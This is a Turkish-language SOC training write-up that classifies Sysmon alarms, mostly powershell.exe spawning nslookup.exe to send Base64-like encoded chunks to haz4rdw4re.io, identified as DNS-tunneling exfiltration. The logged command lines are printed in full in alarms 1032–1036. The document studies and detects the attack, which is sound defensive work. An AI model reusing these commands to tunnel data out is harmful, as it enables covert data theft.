Sınıflandırma: True Positive, Büyük olasılıkla veri sızdırma girişimi (Data Exfiltration) var. Açıklama: Aynı makineden (win-3450) arka arkaya powershell.exe üzerinden nslookup.exe çalıştırılmış. Hedef domain (haz4rdw4re.io) şüpheli ve komutlar DNS Tunneling yöntemine işaret ediyor. Çalışma dizininin exfiltration klasörü olması, veri sızdırma ihtimalini güçlendiriyor.

Alarm 1032: Suspicious Parent Child Relationship

1032	Suspicious Parent Child Relationship	^	High	Process	Mar 1st 2025 at 22:19	👤-
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:	sysmon					
timestamp:	03/01/2025 19:17:17.799					
event.code:	1					
host.name:	win-3450					
process.name:	nslookup.exe					
process.pid:	5704					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\nslookup.exe" AdAAAAHQAAAEIudmVzdG9yUHJlc2Vu.haz4rdw4re.io					
process.working_directory:	C:\Users\michael.ascot\downloads\exfiltration\					
event.action:	Process Create (rule: ProcessCreate)					

Severity: High

Type: Process

Sınıflandırma: True Positive, DNS Tunneling ile veri sızdırma girişimi. Açıklama: win-3450 makinesinde powershell.exe sürekli olarak nslookup.exe başlatıyor. Bu işlem, şüpheli domain (haz4rdw4re.io) üzerinden çalıştırılıyor.

Alarm 1033: Suspicious Parent Child Relationship

1033	Suspicious Parent Child Relationship	^	High	Process	Mar 1st 2025 at 22:19	👤-
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:	sysmon					
timestamp:	03/01/2025 19:17:17.799					
event.code:	1					
host.name:	win-3450					
process.name:	nslookup.exe					
process.pid:	5696					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\nslookup.exe" dGF0aW9uMjAyMy5wcHR488wrSy0uyS.haz4rdw4re.io					
process.working_directory:	C:\Users\michael.ascot\downloads\exfiltration\					
event.action:	Process Create (rule: ProcessCreate)					

Severity: High

Type: Process

Sınıflandırma: True Positive — DNS Tunneling ile veri sızdırma girişimi. Açıklama: win-3450 makinesinde powershell.exe, tekrar tekrar nslookup.exe başlatıyor ve bu işlem haz4rdw4re.io gibi şüpheli bir domain'e istek gönderiyor. Komut satırındaki verinin şifrelenmiş/veri exfiltration'a işaret eden formatta olması dikkat çekici.

Alarm 1034: Suspicious Parent Child Relationship

1034	Suspicious Parent Child Relationship	^	High	Process	Mar 1st 2025 at 22:19	👤-
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:	sysmon					
timestamp:	03/01/2025 19:17:17.799					
event.code:	1					
host.name:	win-3450					
process.name:	nslookup.exe					
process.pid:	4752					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\nslookup.exe" 8KKEotTs0rSSzJzM8zMjAy1isoKKkA.haz4rdw4re.io					
process.working_directory:	C:\Users\michael.ascot\downloads\exfiltration\					
event.action:	Process Create (rule: ProcessCreate)					

Severity: High

Type: Process

Sınıflandırma: True Positive — DNS Tunneling ile olası veri sızdırma teşebbüsü. Açıklama: win-3450 makinesinde powershell.exe sürekli olarak nslookup.exe başlatıyor ve şifrelenmiş/veri exfiltration'a işaret eden bir formatta haz4rdw4re.io domain'ine istek gönderiyor. Komut satırındaki bu anormal ve seri DNS istekleri, verinin DNS protokolü üzerinden sızdırılma girişimine işaret ediyor olabilir.

Alarm 1035: Suspicious Parent Child Relationship

1035	Suspicious Parent Child Relationship	^	High	Process	Mar 1st 2025 at 22:20	👤
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:	sysmon					
timestamp:	03/01/2025 19:17:33.799					
event.code:	1					
host.name:	win-3450					
process.name:	nslookup.exe					
process.pid:	3700					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\nslookup.exe" VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io					
process.working_directory:	C:\Users\michael.ascot\downloads\					
event.action:	Process Create (rule: ProcessCreate)					

Severity: High

Type: Process

Sınıflandırma: True Positive, DNS Tunneling üzerinden olası veri sızdırma girişimi. Açıklama: win-3450 makinesinde powershell.exe yine nslookup.exe işlemini çalıştırıyor ve haz4rdw4re.io alan adına şüpheli DNS istekleri gönderiyor. Komut satırındaki kodlanmış veri ve işlemin downloads klasöründen çalıştırılması, veri exfiltration faaliyetini kuvvetle işaret ediyor.

Alarm 1036: Suspicious Parent Child Relationship

1036	Suspicious Parent Child Relationship	^	High	Process	Mar 1st 2025 at 22:20	👤
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:	sysmon					
timestamp:	03/01/2025 19:17:33.799					
event.code:	1					
host.name:	win-3450					
process.name:	nslookup.exe					
process.pid:	3648					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\nslookup.exe" RmYjEyNGZiMTY1NjZlZlQ=.haz4rdw4re.io					
process.working_directory:	C:\Users\michael.ascot\downloads\					
event.action:	Process Create (rule: ProcessCreate)					

Severity: High

Type: Process

Sınıflandırma: True Positive — DNS Tunneling üzerinden olası veri sızdırma girişimi. Açıklama: win-3450 makinesinde powershell.exe, tekrar nslookup.exe işlemini çalıştırarak haz4rdw4re.io alan adına Base64 kodlanmış veri gönderiyor. Bu davranış, DNS üzerinden veri exfiltration (veri sızdırma) yöntemine işaret ediyor.

Alarm 1037: Suspicious Parent Child Relationship

1037	Suspicious Parent Child Relationship	Low	Process	Mar 1st 2025 at 22:20	
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:	sysmon				
timestamp:	03/01/2025 19:18:11.799				
event.code:	1				
host.name:	win-3461				
process.name:	svchost.exe				
process.pid:	3816				
process.parent.pid:	3693				
process.parent.name:	services.exe				
process.command_line:	C:\Windows\system32\svchost.exe -k wsappx -p				
process.working_directory:	C:\Windows\system32\				
event.action:	Process Create (rule: ProcessCreate)				

Severity: Low

Type: Process

Sınıflandırma: False Positive, Olağan Windows servis davranışı. Açıklama: svchost.exe, services.exe tarafından çalıştırılmış ve wsappx parametresiyle başlatılmış. Bu, Windows uygulama yönetimi ve mağaza servisleri için tipik bir işlemdir. Şu an için kötü niyetli bir aktiviteye dair net bir bulgu yok

6. Sonuç

SOC simülasyonu, gerçek zamanlı phishing alarm analizine yönelik pratik kazandırdı ve Splunk aracı ile etkin bir şekilde güvenlik izleme yapılmasına katkı sağladı. True positive ve false positive alarmların ayırt edilmesi ve bu sınıflandırmanın log verileri ile desteklenmesi sayesinde, bir SOC analistinin sahip olması gereken araştırma ve analiz becerileri geliştirmiş oldum.

